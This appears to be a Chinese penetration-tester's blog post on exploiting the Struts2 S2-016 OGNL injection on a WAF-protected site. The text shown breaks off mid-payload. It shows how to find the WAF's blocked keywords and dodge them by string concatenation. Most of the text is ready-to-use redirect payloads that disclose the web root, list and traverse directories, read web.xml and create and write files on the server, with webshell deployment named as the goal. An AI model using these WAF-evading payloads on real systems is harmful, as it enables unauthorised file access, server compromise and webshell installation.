之前碰到过好几次Struts2,还都是016,项目、众测都遇到过,每次都只是证明了一下存在,由于waf的存在,没有深入去利用,这里简单的记录下。
0x01 背景
xray或者Struts2漏扫可以扫到网站存在Struts2漏洞
但是执行命令会发现直接Connection Reset
,很明显是被waf拦截了
0x02 探究waf规则
一个一个删除关键字,发现拦截的关键字有三个:
Runtime
、dispatcher
Runtime
很熟悉,执行命令一般都用这个,拦截了这个关键字,执行命令还是比较困难的dispatcher
比较陌生,查了资料以后发现是读取Struts2的请求对象中的关键字getRealPath
字面意思,获取真实路径
0x03 尝试突破
简单说一下思路,在绕过waf关键字的前提下进行读、写文件,如webshell落地;或者直接执行命令,如CS上线等。
dispatcher
绕过
可以通过拼接进行绕过,部分代码如下:
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest')
0x001 获取web目录
首先要绕过getRealPath
关键字,可以使用req.getClass().getResource("/").getPath()
进行绕过
redirect:${
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getClass().getResource("/").getPath()),#ot.flush(),#ot.close()}
0x002 查看目录的文件并列举出来
读取当前目录的第一个文件名,payload如下:
redirect:http://www.baidu.com${
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[1]),#ot.flush(),#ot.close()}
这里由于也没有进行深入研究ognl的迭代,所以直接在index
累加了数字,如下:
redirect:http://www.baidu.com${
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[1]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[3]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[4]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[5]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[7]),#ot.flush(),#ot.close()}
穿越目录列举文件
redirect:http://www.baidu.com${
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[1]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[3]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[4]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[5]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[7]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[8]),#ot.flush(),#ot.close()}
0x003 读取指定文件,危害升级——任意文件读取
redirect:http://www.baidu.com${
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedReader(new java.io.FileReader("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/web.xml")),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.flush(),#ot.close()}
由于是按行读取文件,所以也是比较机械的使用了readLine
函数
0x004 写入指定文件,危害升级——任意文件写入
创建文件
redirect:http://www.baidu.com${
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/message_ae.properties"),#ot.print(#bb0.getClass()),#ot.flush(),#ot.close()}
创建文件成功
后续又创建了一个message_aaa.properties
文件,查看文件大小
redirect:http://www.baidu.com${
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.File("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/messages_aaa.properties"),#ot.print(#bb0.length()),#ot.flush(),#ot.close()}
发现只是创建了文件,但是没有写入内容,所以文件大小为0,对文件内容的写入
redirect:http://www.baidu.com${
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF